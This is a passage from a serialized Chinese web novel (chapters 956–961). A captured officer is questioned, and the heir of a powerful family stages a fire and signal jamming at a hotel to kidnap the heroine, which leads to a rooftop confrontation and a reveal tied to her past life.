徽章可能是真的,人也可能是周绮珊本人派来的,但这条线,必然已在周家的监控之下。 他不能冒这个险,不能把用无数人命换来的证据送入敌人张好的网中。 他必须靠自己。 脚步声在潮湿的石板路上压得极低,几乎与冷风拂过墙头野草的窸窣声融为一体。 就在他即将拐入另一条更狭窄的岔路时,一声突兀的“扑通”声,骤然从左前方的河道方向传来! 几乎是同时,岸上响起一道尖利的呼喊:“快来人啊!有人掉水里了!救命啊——!” 路迦脚步猛地一顿。 理智在尖锐地警告他:自身难保,任何节外生枝都是致命的愚蠢。 可他是军人…… 见死不救是背弃信仰! 路迦闭上眼,深吸了一口气,转身朝着河边疾冲而去。 几步助跑,脚尖在湿滑的河沿石上一蹬,黑色身影如同离弦之箭,“哗啦”一声扎进了漆黑冰凉的河水之中。 河水刺骨,瞬间淹没了头顶。 他睁大眼睛,在浑浊黑暗的水中竭力搜寻,很快锁定那个正在下沉的模糊黑影,从背后箍住那人的手臂,拖拽着,奋力向岸边游去。 落水的是个中年男人,面色青紫,已没了呼吸。 路迦将人平放在岸边湿滑的石板上,单膝跪地,迅速清理对方口鼻中的污物,双手交叠,用力而规律地按压其胸膛。 “咳——呕!” 身下的人猛然抽搐了一下,吐出一大口混着泥沙的河水,随即开始剧烈而艰难地喘息,胸口重新有了起伏。 “救回来了!救回来了!” 人群中爆发出几声庆幸的呼喊。 路迦迅速松开手,捡起地上那顶湿透的旧帽子,用力一拧水,压低帽檐,转身就往人群外围挤去。 “小伙子!等等!你叫什么名字?” 有人想跟上前说话,但转眼就不见人影了。 就在这时,远处传来了急促的警笛声,由远及近。 一辆警署厅巡逻车和一辆救护车几乎同时抵达河边,人群自然地向两旁分开。 几名穿着制服的警员跳下车,开始维持秩序。救护人员则提着担架和急救箱,快步冲向地上的落水者。 救护人员正准备将男人抬上担架,男人却突然伸出手,死死抓住了办事警员的手腕,力气大得惊人。 “刚……刚……那个人……是……是悬赏通缉犯……电视里那个……” …… 第956章 命运拨动 “蘭庭”私人会所。 窗外的日光被厚重的丝绒窗帘滤成一种幽暗的暖金色。 周宴珩斜倚在宽大的丝绒沙发里,指间夹着半燃的雪茄,目光落在虚空处似在沉思。 包厢门被极轻地叩响,随后无声滑开一道缝。 助理悄步而入,在距离沙发三步远处垂手站定,低声唤道:“少爷。” 周宴珩眼皮未抬,只从喉间逸出一个低沉的音节:“嗯。” “酒店那边有消息过来,确认办理入住的就是姜小姐,早上傅绥尔已经去过酒店了。另外,姜小姐这次出来身边还有一个人。” 见周宴珩没有表态,助理又继续道:“是个生面孔,短头发,个子高挑,行动举止很利落,不像普通跟班。而且……”他略微迟疑了一下,“盯梢的人说,那人出门的时候会戴假发。” “假发?”周宴珩夹着雪茄的手指微顿了一下,眼底那点慵懒的暖金色褪去,“还有呢?” “还有,办理登记时,服务员听见姜小姐称呼那名女子‘妙妙’。” 周宴珩沉默了片刻,抬手将雪茄按进水晶烟灰缸里,缓慢而用力地捻灭了最后一点火星。 “妙妙?姓苏的那个?” 助理微微颔首:“姜小姐和苏小姐走得近全鲸港都知道,但那名女子一直戴着帽子和口罩,姜小姐带的人多,我们一时半会儿也无法确认是不是苏小姐。” 周宴珩缓缓靠回沙发背,细想了片刻,嘴角扯过一抹弯弧,“不用查了,肯定不是苏妙。” 助理不由一愣,“少爷知道是谁?” 周宴珩抬眸,视线轻飘飘地落在助理脸上。那目光并不凌厉,却让助理瞬间感到一股无形的压力,立刻低下头去。 “我让你接的人接到了吗?”周宴珩的声音不紧不慢,带着一种洞悉的淡漠。 助理有些犹豫,“接到了,不过……少爷,这件事要不要跟老爷子说一声?” 话音落下的瞬间,包厢内的空气仿佛凝固了。 “这是第二次。如果再让我听见第三次,你猜猜你会有什么后果?” 周宴珩目光平静无波,却让助理的后颈莫名泛起一层寒意。 他连忙道:“是,少爷放心,我保证不会再犯。” “那就好。”周宴珩又恢复了那副慵懒的神态,“派人继续盯着酒店。” “是!”助理如蒙大赦,连忙应下,正要躬身退出。 就在这时,包厢门外再次响起叩击声,比之前急促不少。 没等到周宴珩回应,门被略显莽撞地推开了一道更大的缝隙。 陈明生小心翼翼探出头,他甚至没注意到旁边正欲退出的助理,目光直接锁定了沙发上的周宴珩,语调亢奋到不能自已。 “少爷!抓到了!!” “……”周宴珩眉梢几不可察地一动,抬手示意正待离开的助理暂且留下。 陈明生快步上前,一副急于表功的模样,“那小子身份还真不简单,幸好是抓住了,现在就关在东郊仓库下面的密室。” 周宴珩:“东西找到了?” 陈明生眼底掠过一丝杀气,“碰上了块硬骨头,半条命都快没了,硬是不肯说半个字。不过人在手里应该问题不大,那东西他传不出去,应该还在云乡。少爷,您……要不要亲自去看看?” 周宴珩思忖片刻,站起身:“带路。” * 东郊仓库的地下密室,潮湿阴冷,空气中弥漫着一丝若有若无的血腥气。 路迦被绑在一张沉重的铁椅上,眼睛被粗布蒙着,双手反剪在椅背后。 他身上的衣物多处破损,露出下面新旧交织的伤痕,暗红色的血迹浸透了深色的衣料,在惨白灯光下显得触目惊心。可即便处于如此境地,他的背脊依旧挺得笔直。 密室沉重的铁门被推开,发出刺耳的摩擦声。 周宴珩迈步走了进来,陈明生紧随其后,助理则沉默地留在门边阴影里,悄然关上了门。 脚步声在空旷的水泥地上回响。周宴珩在距离铁椅几步远的地方停下,目光平静地审视着椅上的男人,仿佛在评估一件物品。 陈明生殷勤地搬来一张还算干净的椅子,放在周宴珩身后。 周宴珩却没有坐,只是随意地挥了挥手。助理立刻会意,上前扯下路迦脸上的黑布。 突如其来的光线让路迦条件反射地闭了下眼。他甩了甩头,几缕被冷汗和血污黏在额前的湿发随之晃动。 待看见周宴珩时,他的视线定格,眼神里没有惊愕,没有茫然,只有一种冰冷的了然。 “还敢瞪!我看你是找死!”陈明生撸起袖子装模作样要打人。 周宴珩一脚将人踢开,拉过凳子笑了笑:“路长官,又见面了。” …… 第957章 路迦的选择 军政学府入学前,所有学生都要参加封闭式的军事训练,路迦正好就是周宴珩的同期总指挥。 讽刺的是,因为周宴珩在团队作战中表现出了绝佳的指挥能力,还被授予了“优秀指挥官”的荣誉,当时的颁奖嘉宾就是路迦,所以两人曾有过一面之缘。 路迦虽然不深涉鲸港权势,但对周家的底细还是知道一些的。 云乡忽然戒严,连一只苍蝇都飞不出去,那会儿他就已经猜到,是周家出手了。 所以眼下看见周宴珩也并不意外。 “少爷,您认识他?”陈明生见周宴珩忽然打起了招呼,一脸错愕。 “路长官也算我的授业恩师。”说着,周宴珩侧过头,看向陈明生和门口的助理,“你们先出去,我和长官单独聊聊。” “这……” 按理说,周宴珩既然见过路迦,应该在看到通缉画像时就猜到他的身份了,可他却什么都没说,任由商会像无头苍蝇般乱撞。 陈明生一时拿不准周宴珩的态度,张了张嘴,又把话咽了回去。 助理已经转身走到了门口,见陈明生没动,出声提醒:“陈会长?” 陈明生不敢多说什么,脸上堆起虚浮的笑。 临出门前,他终究没忍住,开口问道:“少爷,资料还没找到,您要不……” 不等他说完,转眸缓缓移向了陈明生。 那目光里没什么特别的情绪,甚至称得上平静。 陈明生立刻意识到自己僭越了,反手抽了自己一嘴巴,“少爷您自便。” 助理全程面无表情,等陈明生出了密室,立刻关上了门。 周宴珩身体后仰,一只胳膊搭着扶手,表情闲散,“这群蠢货没见识过上将的骨头有多硬,长官受累了。” 他这话说得轻飘飘的,像是在点评一件与己无关的事。 密室里惨白的光线落在他轮廓分明的脸上,一半明亮,一半隐在阴影里,让人看不清他眼底真正的情绪。 路迦没有接话,只是沉默地看着他,胸膛因呼吸而微微起伏,牵扯着伤口,带来一阵阵钝痛。 周宴珩等了几秒,见他不语,缓缓站起身,在距离路迦极近的地方停下,俯身弯腰,目光与他平视。 “长官。我知道你不怕死,我也知道凭你的本事一定把东西藏得好好的,我对找东西和逼供没有兴趣,不如,我帮你一把?” 路迦的喉结滚动了一下,干裂的嘴唇抿紧。 周宴珩瞥了他一眼,语气中甚至带着一丝惋惜,“如果周家没有了,我也会很麻烦,所以你的命大概率是保不住了。不过,看在你们这么努力的份上,我可以网开一面。” 见路迦依旧不为所动,周宴珩也不在意,自顾自从口袋里掏出一台磨坏的手机扔在路迦脚下。 路迦终于有了反应,撩着带血的眸子死死盯着周宴珩:“你想做什么?” 周宴珩脸上那点闲散的笑意淡了下去,他直起身,居高临下地看着椅上的男人。 “你活不了了,但你的消息可以传出去。这是你的手机,我可以给你一次机会。” 路迦转眸看着脚下的手机,他脸上没有任何对死亡的恐惧,只有对抉择的沉思。 “你所有的联络线都已经断了,唯一能联系的只有一个。” 周宴珩垂眸,纤长的眼睫压不住眼底的幽光。 他说:“长官,你要联系阿珊吗?” 路迦整个人几乎在一瞬间僵滞,错愕片刻,他立马回神强行将自己拉了回来。 但已经来不及了,那短暂的失神在周宴珩眼中已经是呼之欲出的答案。 “呵~”周宴珩轻笑了一声,“还真没死?!我倒是小看她了,只是不知道老爷子知道这个消息,是该高兴?还是该难过?” 意识到自己犯错的路迦呼吸急促了几分。 周宴珩退后两步,重新恢复了那种淡漠的掌控姿态。 他从腰后掏出手枪,拉枪上膛,“长官,你现在可以做决定了,是带着资料一起下地狱,还是赌一把,再跟我们斗一局?” “你可要想清楚哦,周绮珊也姓周,她未必能接受真相。” 路迦缓缓闭眼:“我……” * 密室厚重的铁门外,走廊灯光昏黄。 助理背靠着冰冷的墙壁,站得笔直。 陈明生则在一旁焦躁地踱着步,时不时瞥一眼紧闭的铁门,又看看面无表情的助理,想说什么,张了张嘴,最终还是把话咽了回去。 时间在压抑的沉默中缓慢爬行,每一秒都像一个世纪般漫长。 突然—— “砰!” 一声极具穿透力的枪响,毫无预兆地撕裂了门外的死寂! 门外两人脸色惊变。 助理眼神一厉,没有任何犹豫,拧动门把手,极其粗暴地推开密室门冲了进去。 陈明生则吓得差点跳起来,抱头跟在其后。 密室内,惨白的灯光依旧。 路迦身上的绳索不知何时已被解开,粗糙的麻绳散落在地上。 他整个人匍匐在冰冷的水泥地上,距离那把翻倒的铁椅不远,一只手还保持着向前伸出的姿势。 而在他指尖前方,那部磨花的手机机壳中央有一个清晰的弹孔,屏幕已经一分为二。 眼前的景象让两人瞬间僵在原地。 周宴珩就站在几步开外,手中的枪口还飘着一缕极淡的青烟。 他神色平静,甚至带着一丝难以捉摸的倦怠。 听见身后的动静,周宴珩缓缓侧过头,目光扫过门口惊疑不定的两人。 陈明生一眼就认出了地上的手机是他们从路迦身上缴获的重要物证。 他看看地上的路迦,又看看周宴珩手中的枪,脑子有点跟不上节奏,“少……少爷?这……这是……” 周宴珩手腕一翻,转身朝着门口走去,经过助理身边时,语调随意:“问不出来,要杀要剐,你们随意。” …… 第958章 旗鼓相当 此时,云乡天已经暗了。 门外,一辆黑色的轿车早已安静地停在阴影里。 助理率先从置物箱里取出一条干净白毛巾递上。 周宴珩接过毛巾,慢条斯理地擦拭着刚才持枪的右手。 “现在,我们能动用多少人?” 助理微愣,随即立刻答道:“如果算上商会直属的安保大队,我们能间接控制的本地力量,以及所有可靠的外围人手,短时间内可以聚集起超过两百人。武器和设备只要需要,可以立即配齐。” “两百人……”周宴珩指尖微顿,眼眸闪过一抹流光,“够了。通知下去,让这些人做好准备,今晚行动。” 助理迟疑了一瞬,“全……全部吗?” 见周宴珩没有回答,他咽了咽嗓子,小心翼翼问道,“少爷,人不是都已经抓到了吗,你召集这么多人做什么?” 周宴珩:“绑架。” 绑……架? 助理罕见地露出不太聪明的表情,绑谁啊?! * 与此同时,云乡酒店顶层的套房内。 姜花衫站在落地窗前,俯瞰着这座边陲小城夜幕下的灯火。 她刚刚结束了与傅绥尔的通话,电话里,傅绥尔的声音很沮丧,跑了一天一点线索都没有。 姜花衫虽然笑着安慰说没事,但心里已经开始不安。 原本她让傅绥尔大张旗鼓找人,也就是想在最短的时间内和周宴珩抢人,但现在,周家、云乡商会那边的人一点反应都没有,太不合常理了。 姜花衫深吸一口气,试图让自己冷静下来。 她的对手不仅仅是周家和周宴珩,还有剧目的规则之力,焦虑解决不了任何问题,她必须再找一条突破口。 出于一种寻找锚点的本能,姜花衫登录了“星火基金”对外公开的公共事务邮箱。 这个邮箱从她接受采访公之于众后,每天会收到来自全国各地的数百封邮件。 作为基金的主要负责人之一,她时常会抽空浏览,偶尔能发现一些被常规渠道忽略的线索或需要帮助的个案。 页面刷新,未读邮件的数字跳到了“347”。 姜花衫快速滑动鼠标,目光机械地扫过一封封邮件标题:求助学费、举报村霸、医疗众筹申请、反映环境污染……大部分邮件都有明确的主题和内容简述。 忽然,她的指尖停住了。 列表中间,有一封邮件的标题是空白的。发件人地址是一串混乱的字母数字组合,明显是临时注册的匿名邮箱,发送时间是今天傍晚。 空白标题的邮件并不少见,可能是误操作,也可能是某些垃圾广告的伎俩。 但偏偏是在这个时间点,这让她本能地警惕。 姜花衫盯着那片空白,看了足足十秒钟,最终还是决定顺从直觉。 “姜晚意!”她朝着房间大喊了一声。 里间卧室的门几乎立刻被拉开,姜晚意顶着一头有些凌乱的头发,慌慌张张地跑出来:“怎么了?” 姜花衫没有回应,直接按响了贴身佩戴的微型警报器。 这是安防紧急装置,只有特定接收设备才能捕捉到的警报脉冲发出的提醒。 不到二十秒,门锁被强行破开,两名穿着深色西装的男人迅速闪身而入,确认姜花衫安全后仍不敢有一丝松懈。 “姜小姐,发生什么事了?” 姜花衫不由分说推了姜晚意一把,“你们立马安排人把她送回鲸港。” 两名保安一头雾水,相互交换了眼神后点了点头,“好的,小姐。” 姜晚意被推得一个趔趄,满脸不解,她明明刚来怎么又要走? 姜花衫没有解释,转身回房拨通了另外一通电话。 “妙妙,你听我说……” * 三十分钟后。 黑色的轿车如同暗夜中滑行的幽灵,悄无声息地停在了酒店楼下。 周宴珩没有立即下车,他坐在后排,隔着深色的车窗玻璃,目光平静地仰望着顶层的灯光。 助理挂了电话,转身看向周宴珩时,眼神有些不安,“酒店那边说,半个小时前,地下车库出口有车辆频繁进出,看起来像是有组织的撤离。从衣着和行动模式判断,很可能是姜小姐带来的部分安保和随行人员,数量不少。” “那些人交给陈明生。”周宴珩的眉梢几不可察地动了一下,“姜花衫人呢?” “姜小姐本人确认仍在顶层的套房内,没有离开迹象。我们的人已经封锁了所有出口,包括应急通道和货运电梯。酒店本身的保安系统,我们也‘接管’了。” “少爷……”助理脸上的肌肉不受控制地抖动,“您要绑的人,该不会是姜小姐吧?” 周宴珩,“有什么问题吗?” 助理只觉眼前一黑又一黑,“少爷,要不您再想想?姜小姐可不是普通人,你要真这么绑了她,那可是跟沈家撕破脸了,老爷子不会答应的。” 周宴珩推门下车,低头理了理袖口,“所以才要先斩后奏。” 助理:“……” * 姜花衫挂断与苏妙的电话,指尖还残留着话筒冰凉的触感。 突然—— “呜——呜——呜——!!!” 尖锐刺耳的火灾警报毫无预兆地响彻整个楼层,红色的警示灯在走廊和套房客厅的角落疯狂闪烁,充满了不祥的意味。 姜花衫心头猛地一沉,立刻冲出卧室。 “怎么回事?” 客厅里,两名保镖已经移动到有利位置,一人警惕地对着房门方向,另一人则正试图通过耳麦联系同伴或外界。 “姜小姐,是火警,酒店着火了。” 片刻后,那名试图通讯的保镖抬起头,脸色难看:“这栋楼的所有通讯频道都被干扰了,我们失联了。” 为了验证他的话,姜花衫迅速掏出自己的手机,屏幕右上角原本满格的信号标志,此刻已经变成了一个刺眼的红叉。 她皱了皱眉,拨打傅绥尔的号码,但听筒里只传来一阵忙音。 又是这种架空的烂俗套路。 很快,烟雾以肉眼可见的速度从门缝下方、中央空调的出风口丝丝缕缕渗入,颜色逐渐加深,变成呛人的灰黑色。 姜花衫当机立断:“情况不明,留在这里太危险了!我们先走。” 两名保镖立刻执行,一人迅速检查了武器,另一人用力拉开被湿布条塞住的门缝,更多的浓烟立刻涌了进来,呛得人睁不开眼。 他们用湿毛巾捂住口鼻,将姜花衫护在中间,快速冲出了套房。 走廊里比房间内更加昏暗,闪烁的红色警报灯在翻滚的灰黑色烟雾中投下诡异跳动的光影,能见度不足五米。 他们的目标是最近的安全通道,位于走廊另一端。 三人压低身形,尽可能避开浓烟最密集的中上部,沿着墙根快速移动。 就在他们快要抵达走廊中段,接近电梯厅的位置时—— “叮!” 一声清脆的电子提示音,在一片嘈杂中显得格外突兀。 两部豪华电梯上方的楼层指示灯几乎同时亮了起来…… …… 第959章 喂!你过来! 电梯门向两侧滑开的瞬间,仿佛打开了另一个世界的入口。 没有预料中的轿厢灯光,只有比走廊更浓稠的黑暗,以及从黑暗中无声涌出的人影。 他们像一股粘稠的黑色潮水,迅速而有序地漫出。 每个人都穿着统一的深色作战服,脸上覆盖着毫无表情的纯黑色面具,只露出冰冷凝视的眼睛。动作整齐划一,带着训练有素的压迫感,瞬间占据了电梯厅前的空间。 而在这一片沉默的黑色人潮最前方,站着一道略微不同的人影。 那人穿着剪裁合体的黑色西装,而非作战服。身姿挺拔,在弥漫的灰黑色烟雾中像一道突兀而冷硬的剪影。 脸上同样戴着面具,样式更为简洁,高挺的鼻梁线条如同刀锋划过烟雾,带着一种难以忽视的侵略性。 翻滚的浓烟扭曲了光线,在姜花衫的视线里,只能隐约捕捉到一个轮廓。 然而,就在这电光石火之间,一股近乎荒谬的熟悉感猝不及防地窜过她的脊背。 姜花衫瞥了一眼电梯上方猩红的‘33’,瞳孔骤然收缩。 这伙人就是她上一世在生日宴上遇到的那伙人? 她早就发现因为剧情偏移严重,现在很多重要节点也偏移了上一世的时间线,为得就是打破她的预知优势。 “跑。” 姜花衫的身体比意识更先做出了反应,当机立断,扭头往回跑。 黑影静静站在黑雾之外,面具后的目光穿透层层缭绕的烟尘,精准地落在了姜花衫背影上。 没有命令,没有呵斥,只是微微抬起了手。 男人身后的黑色人潮便如同接收到指令的机械,骤然启动,无声而迅猛地朝着姜花衫三人包抄而去! “保护姜小姐!” 一名保镖怒吼一声,猛地停下脚步,转身面对汹涌而来的黑色人潮,试图用身体和手中有限的武器制造阻碍,为姜花衫争取逃跑的时间。 另一名保镖则毫不犹豫地紧跟姜花衫,用肩膀撞开侧方一扇未锁死的杂物间门,试图寻找别的通路。 但对方人数太多,速度太快。留下断后的保镖几乎在瞬间就被数名面具人制服。 眼下这个局面逃走是不可能的了,但不管怎么样,都必须想办法搏一搏。 拼了! 姜花衫凭着记忆,朝着与安全通道相反的方向直接扑进巨大的浓烟里。 虽然烟雾和警报声掩盖了身后的动静,但她还是能感觉到一股如影随形的压迫感正在急速逼近。 她闭着眼冲上通往酒店天台的最后一段楼梯,用尽所有力气撞开了沉重的防火门。 冰冷的夜风瞬间灌了进来,吹散了些许浓烟,也让她打了个寒颤。 天台上空旷无人,远处是云乡稀疏的灯火,近处是巨大的广告牌在夜色中投下狰狞的影子。 身后的脚步声愈发逼近,姜花衫往后看了一眼,眼底划过一抹流光,转身冲上广告立架。 与此同时,通往天台的防火门被一只骨节分明的大手缓缓推开。 黑色的身影独自一人,步态从容地走了出来,他顺手带上了身后的门,将楼下喧嚣和烟雾彻底隔绝。 夜风猎猎,吹动黑色的西装,也吹散了部分笼罩在黑影面具上的烟雾。 周宴珩的目光在天台逡巡了一圈,终于在巨大的钢铁支架里找到了不听话的猎物。 他侧过头,嘴角勾起一抹笑意,眼神饶有兴致,好像在说,怎么爬得这么高?摔下来怎么办? 空旷的天台上,巨大的广告立牌,光影四散。 猎物在高台俯视,猎人在平地仰望,这巨大的反差在两人目光交汇的瞬间奇迹地和谐了。 周宴珩沉默片刻,慢悠悠上前,抬手敲了敲钢架。 意思很明显,下来。 姜花衫冷笑了一声,像猫儿一样在密密麻麻的钢架之间灵活跳跃。 她根本逃不了,所以周宴珩也没有制止,耐心十足地等着看她想做什么? 姜花衫移动到广告牌最外侧,身影赫然停止。 她低头看了看脚下晕成光圈的霓虹,心里忽然开始打鼓。虽说她有女主光环,但要是从30多楼跳下去,估计结局也会很惨烈。 “咚——咚——” 周宴珩见她望着脚下不动,不紧不慢又敲了两下作为警告。 姜花衫皱了皱眉,抱着锈迹斑斑的钢铁,语气不善,“别敲了,再敲我真跳下去了。以我现在的影响力,要是在云乡坠楼身亡,你们一个都别想好过。” 周宴珩挑了挑眉,绕过广告牌一端,换到了她的正下方位置。 姜花衫眯了眯眼,对着面具下那两个窟窿眼研究了许久,忽然眸光一闪,眼神里夹带了点私货,“周宴珩?” “……” 下方的人影微不可察地顿了一下。随即抬起手不紧不慢地扣住了面具边缘,指尖稍一用力,便将那层面具扯了下来。 面具后的脸暴露在霓虹与夜色的混杂光影下,好权威的一张反派脸。 周宴珩抬起头,脸上没有被识破的恼怒,反而带着一丝玩味的笑意,他直直看向高处的姜花衫: “哦?你怎么知道是我?” “……”姜花衫暗暗松了一口气,抱着钢筋一脸凶相,“你有病啊,弄这么大阵仗想吓唬谁?你要找的人早走了!抓我干什么?” 周宴珩一脸认真,“我要抓的一直都是你啊。” “……” 难怪她的节奏被打乱了,原来周宴珩这个神经病是冲她来的。 姜花衫皱了皱眉,“有病,小心被你爷爷打死。” 周宴珩懒得跟她废口舌之争,偏了偏头,“你逃不掉的,下来吧。” 这巨大的广告架如同一个精心设计的空中牢笼,唯一的“门”就在周宴珩身后,姜花衫的确插翅难飞。 她回头看了看脚下近百米的悬空,只觉一阵头晕目眩。 这可不能赌,要万一真成一摊肉泥可就不好看了。 权衡片刻,姜花衫没得选择,只能妥协。她抱着锈蚀的钢筋,慢悠悠地向下移动。 周宴珩就站在下方不远处,好整以暇地看着她一点点降落,既不上前帮忙,也没有催促。 终于,姜花衫下到了广告牌主体结构最底层的水平钢梁上,距离天台地面还有约两三米的高度。 她站在那儿,没有再往下跳,而是转过头,看向几步之外的周宴珩,对着他勾了勾手指。 “喂!周宴珩,你过来!” …… 第960章 是你?! 这一声连凶带嚷命令十足,不知道的还以为在逗狗。 周宴珩眉梢微挑。 他已经感觉到了,从姜花衫知道是他之后,态度是一发不可收拾地嚣张了。 他有时候真的不理解,姜花衫这股自信到底是哪里来的? 周宴珩没有动,总不能真把自己整得像呼之则来挥之则去的便宜货。 “你看什么看?”姜花衫理直气壮,“这么高,我怎么下去?你绑架归绑架,摔坏了我,你赔得起吗?” 周宴珩终是按捺住,被她这蛮横的模样取悦到了,从善如流地向前走了几步,在距离她垂直距离不过半米的位置停了下来。 “跳吧,我接着。” 他张开双臂,做了一个接住的姿势,动作勉强称得上绅士,只是那眼神却极其挑衅。 姜花衫居高临下地审视了他两秒,忽然动了。 她没有像寻常人那样试探着往下跳,而是猛地屈膝,身体骤然发力,借着钢架的反作用力,如同离弦之箭般朝着周宴珩的方向“扑”了过去。 不,更准确地说,是踹了过去,动作又快又狠。 然而,周宴珩早就猜到她会有这么一手。 他的反应快得惊人,在姜花衫脚尖几乎要碰到他下颌的刹那,原本虚张等待的手臂闪电般抬起,五指如同铁箍,精准而有力地攥住了她纤细的脚踝! 冲击的力道让他手臂微沉,但身形稳如磐石。 “就知道你不安分。”他嗤笑了一声,语调听不出恼怒。 脚踝被擒,姜花衫身体顿时失去平衡,悬在半空。 但她脸上不见慌乱,反而在被周宴珩抓住的瞬间,另一条腿如同鞭子般借着腰力猛地横扫向他的侧腰! 同时,被抓住的那条腿猛地屈起,膝盖顶向周宴珩手腕的麻筋,试图迫使他松手! 标准的近身格斗反击技巧,干脆利落,没有丝毫多余动作,显然是练过的。 周宴珩眼中闪过一丝讶异,这身法简直熟悉得有些诡异。 没等他完全反应过来,被卸去部分力道的肩膀又硬扛了一记扫腿。闷哼了一声,周宴珩不得不被迫松开了挟持的脚踝。 姜花衫瞬间失去了支撑,身体向下坠去。 但她似乎早有预料,在坠落瞬间,手臂绕过周宴珩的肩膀下探,快准狠地抓住了他胸前的西装领带,用力向下一拽! “砰!” 两人几乎同时失去平衡,周宴珩被她拽得向前踉跄半步,而姜花衫则借着这一拽的力度缓冲了落势,背部着地,抱头连滚了几圈,逃出安全范围立马爬起身继续跑。 周宴珩被拽得猝不及防,虽然及时稳住了身形没有跟着摔倒,但姿态也难得地显出一丝狼狈,领带被扯得歪斜,呼吸微乱。 他看着夜幕中比兔子还快的身影,闭了闭眼,一把扯下胸前的领带。 姜花衫的目标是防火门,到达目的地后立马用力去拉门把手,但结果却不尽人意,门被人从另一面反锁了。 此时,身后的脚步声正在逼近。 姜花衫看着眼前冰冷的金属门板,眸光微沉,转身,“周宴珩,我们谈……” 周宴珩充耳不闻,强势上前。 姜花衫试图挥拳格挡,但正面抵抗完全是以卵击石。周宴珩轻易地隔开了她的手臂,另一只手如同铁钳般扣住了她的两只手腕并牢牢控制在她身前。 “狗东西!放开我!” 姜花衫奋力挣扎,用脚踹他下档,但被周宴珩用膝盖轻易顶住压制。 “省点力气。” 周宴珩声音低沉,一手压着她乱动的双手,另一只手用丝绸领带绕过她并拢的手腕,快速而熟练地缠绕、打结。 领带质地光滑却坚韧,他系的是一种特殊的结法,越挣扎越紧。 不过几秒钟,姜花衫的双手就被牢牢绑在了一起。 但这还没完,周宴珩拽着领带多余的一端,将姜花衫往防火门的方向一拉,迫使她背对着门站定。 姜花衫仍试图用肩膀和身体撞击反抗,却被他用一记巧劲抵住,动弹不得。 最后,周宴珩慢条斯理地将领带的末端绕过门内侧的金属把手,一只手撑在姜花衫耳侧,另一只手,指尖轻轻划过她的颈侧。感受到充满生命力的搏动后,手掌微微收拢,虎口卡住了她纤细的脖颈,略带薄茧的指腹不轻不重地按住那根微微凸起的青筋上。 “现在,可以谈了。” 他低下头,温热的气息几乎拂过她的耳廓,声音压得极低,带着一种慢悠悠的腔调。 姜花衫身体瞬间僵硬,不是因为恐惧,而是因为这种过于亲昵又充满压迫的触碰,让她感到屈辱与不适。 她试图偏头避开,但周宴珩的手指如同铁钳,在她颈侧凸起的青筋上轻轻按了一下。 这个动作看似轻柔,却蕴含着绝对的掌控,既心悸又暧昧。 怒火和被冒犯的恶心瞬间冲垮了理智的堤坝。姜花衫几乎是不假思索地,猛地低下头,张开嘴对着脖颈上的手狠狠咬去! 周宴珩反应极快,在她低头的瞬间,原本卡着她脖颈的手顺势向上一抬,虎口精准地托住了她的下颌。 “啧,这么凶,属狗的?” 姜花衫还想再咬,视线一转,忽然落在了周宴珩的无名指上。 蓦地,她的呼吸骤然一窒,所有挣扎和怒火在这一刻像是被按下了暂停键。 脑海中瞬间闪过无数破碎的画面:黑暗的甬道、摇曳的灯影、擦肩而过的男人,还有指尖的莲花印记…… 她倏尔抬起头,眼底荡起一丝幽光,“是你?!” …… PS:忘记伏笔的请移步118章~ 第961章 金兰篇-1/2 周宴珩敏锐地捕捉到了姜花衫瞬间的眼神变化。 他顺着她的视线,自然也落在了自己那意外暴露的指尖。 周宴珩眼中极快地掠过一丝暗芒,随即,托着她下巴的手指微微收紧,带着一种不容置疑的力道,将她的脸掰正,强迫她的视线重新聚焦在他的眼睛上。 “你什么?”他低声问,声音比刚才沉了几分,听不出情绪。 短短几秒,姜花衫已经从这份震惊的意外里回过了神。 她之前一直以为方眉背后的人是沈渊,所以理所当然地以为方眉给她下药是受了沈渊的指使。 但现在周宴珩身上出现了兰花纹身,这意味着她之前的设想都是错的。 上一世,她昏迷时是在陌生的床上醒来的,这么看来,方眉并非是想把她推给沈兰晞,她是想把她送给周宴珩。 所以,方眉背后的人还有周宴珩。 “……” 姜花衫眨了眨眼,眸光直直看着周宴珩,“你……杀了方眉?” 周宴珩俨然没料到姜花衫竟然如此敏锐,脸上的表情几不可察地僵滞了一瞬。 但很快,他又恢复惯常的冷静,否认得干脆利落。 “不是我。” 姜花衫当然知道不是。 她留下巨额遗产,为的就是让沈家人能顺着这条线索找出家族叛徒。 沈清予出族,老爷子清理门户,这些都是他们给她的交代,说明杀害方眉的就是沈渊。 而她之所以这么问,只是想证实方眉和周宴珩有没有关系? 现在,周宴珩的回答完全印证了她刚刚的猜想。 如果周宴珩跟方眉没有关系,他的表情不会僵硬,更不会直截了当地回答。他急于否认,恰恰说明他和方眉之间真的存在过交易,只是他不是最后的屠夫。 想起上一世自己与方眉的种种,姜花衫忽然觉得好笑。 什么是过期糖?她突然明白方眉那刻薄零星的母爱就是过期糖。 原来方眉也知道,沈家除了爷爷没有一个人喜欢她,所以把她送给周宴珩而不是沈兰晞,是一个自私母亲最刻薄的守护。 姜花衫忽然的笑让眼前的处境显得更加怪诞,周宴珩皱了皱眉,不知道为什么,莫名地介意。 “你……” 他话刚起头,忽然被一阵突兀的手机铃声打断。 周宴珩眼底闪过一丝被打扰的薄怒。他深深看了姜花衫一眼,随即松开了手,后退一步,接通了电话。 “说。” 电话里,助理的声音带着惶恐和急切:“少爷,人我们已经抓住了,的确不是苏家小姐,是……是姜小姐同母异父的妹妹。” 周宴珩神色微怔,抬眸看向姜花衫。 与此同时,姜花衫的脑子里忽然响起久违的电子音: -【叮咚——】 -【恭喜您解锁金兰篇之周绮珊。】 -【完成条件:心甘情愿为彼此背叛一次至亲/完成进度[1/2]】 终于扳回了一局。 姜花衫眼底深处的波澜瞬间被压下,取而代之的是一种近乎锐利的亮光。 她抬头,迎向周宴珩错愕的目光,嘴角的弧度愈发明显。 “另外,少爷,老爷子不知道从哪知道的消息,姜晚意已经被……” 不等电话那头说完,周宴珩直接挂了电话。 他歪着头打量了姜花衫片刻,慢慢走近,在距离一步之遥的位置停了下来。 “你把姜晚意拖进来做什么?” 姜花衫翻了个白眼。 周宴珩又往前踏了半步,两人之间的距离近得能感受到彼此身体散发的热度与紧绷。 但他没有再碰她,只是用极具穿透力的目光笼罩着她,“想吃苦头?” 好汉不吃眼前亏,姜花衫扯了扯嘴角,一脸无辜,“你们周家不是在找她吗?怎么,我把人给你们送过来了,你们不高兴?” 鬼话连篇。 周宴珩自然不会被这拙劣的解释骗过去,但现在有个棘手的问题。 他原以为姜花衫身边那个就是周绮珊,所以才纵容路迦把资料发出去的,因为他自觉这一切还在自己的掌控之中。 